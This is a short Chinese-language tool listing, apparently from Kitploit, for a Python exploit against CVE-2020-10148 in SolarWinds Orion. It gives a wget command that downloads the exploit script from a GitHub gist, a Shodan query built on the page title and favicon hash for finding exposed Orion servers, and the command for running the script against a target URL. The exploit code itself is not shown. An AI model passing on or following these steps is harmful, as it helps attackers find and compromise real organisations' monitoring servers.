CVE-2020-10148-Solarwinds-Orion — 针对 CVE-2020-10148 的 Python 利用脚本，目标为 SolarWinds Orion，集成 Shodan 侦察功能以定位易受攻击的实例。 | Kitploit

CVE-2020-10148 Solarwinds Orion

下载 CVE-2020-10148.py

wget https://gist.githubusercontent.com/0xsha/75616ef6f24067c4fb5b320c5dfa4965/raw/0d7db4f2ea5aacc0ada7b1a7b23f2ce8ba39315f/CVE-2020-10148.py

在Shodan上寻找Solarwinds Orion

https://www.shodan.io/search?query=http.title%3Asolarwinds+http.favicon.hash%3A-1776962843

运行 CVE-2020-10148.py

python CVE-2020-10148.py CVE-2020-10148.py http(s)://target

参考：

https://gist.github.com/0xsha/75616ef6f24067c4fb5b320c5dfa4965